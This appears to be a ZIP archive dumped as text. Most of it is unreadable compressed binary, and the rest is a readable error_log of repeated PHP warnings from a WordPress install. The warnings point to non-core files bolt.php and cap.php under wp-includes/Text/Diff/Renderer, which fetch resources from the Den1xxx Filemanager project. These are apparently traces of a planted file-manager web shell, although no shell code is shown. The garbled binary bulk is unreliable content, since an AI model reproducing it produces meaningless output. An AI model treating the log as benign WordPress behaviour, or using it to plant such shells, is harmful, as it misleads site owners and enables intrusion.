*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @ PK     |\FI  I  	  error_lognu [        [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
